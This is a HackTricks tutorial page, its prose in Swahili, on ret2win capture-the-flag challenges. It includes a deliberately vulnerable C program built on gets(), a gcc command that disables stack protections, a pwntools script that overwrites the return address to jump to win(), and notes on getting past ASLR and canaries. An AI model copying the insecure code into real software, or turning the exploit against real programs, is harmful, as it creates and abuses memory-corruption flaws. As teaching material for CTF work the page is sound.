Ret2win

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Ret2win changamoto ni aina maarufu katika mashindano ya Capture The Flag (CTF), hasa katika kazi zinazohusisha binary exploitation. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyokuwa na mwito ndani ya binary, mara nyingi ikijulikana kama win, flag, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya anwani ya kurudi kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:

C Example

Consider a simple C program with a vulnerability and a win function that we intend to call:

c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Ili kukusanya programu hii bila ulinzi wa stack na ASLR imezimwa, unaweza kutumia amri ifuatayo:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Jenga programu kama binary ya 32-bit (hii ni hiari lakini ni ya kawaida katika changamoto za CTF).
  • -fno-stack-protector: Zima ulinzi dhidi ya stack overflows.
  • -z execstack: Ruhusu utekelezaji wa msimbo kwenye stack.
  • -no-pie: Zima Position Independent Executable ili kuhakikisha kwamba anwani ya kazi ya win haibadiliki.
  • -o vulnerable: Patia faili ya matokeo jina vulnerable.

Python Exploit using Pwntools

Kwa exploit, tutatumia pwntools, mfumo wenye nguvu wa CTF wa kuandika exploits. Skripti ya exploit itaunda payload ili kujaa buffer na kuandika anwani ya kurudi kwa anwani ya kazi ya win.

python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Ili kupata anwani ya kazi ya win, unaweza kutumia gdb, objdump, au chombo kingine chochote kinachokuruhusu kukagua faili za binary. Kwa mfano, kwa kutumia objdump, unaweza kutumia:

sh
objdump -d vulnerable | grep win

Amri hii itaonyesha muundo wa win function, ikiwa ni pamoja na anwani yake ya kuanzia.

Python script inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa na vulnerable_function, unavunja buffer na kuandika tena anwani ya kurudi kwenye stack kwa anwani ya win. Wakati vulnerable_function inarudi, badala ya kurudi kwa main au kutoka, inaruka hadi win, na ujumbe unachapishwa.

Ulinzi

  • PIE inapaswa kuzuiliwa ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji uvujaji fulani ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni read au sawa, unaweza kufanya Partial Overwrite ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna 1/16 nafasi (1 nibble) ya kupata anwani sahihi ya kurudi.
  • Stack Canaries pia zinapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.

Mifano Mingine & Marejeleo

Mfano wa ARM64

{{#ref}} ret2win-arm64.md {{#endref}}

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks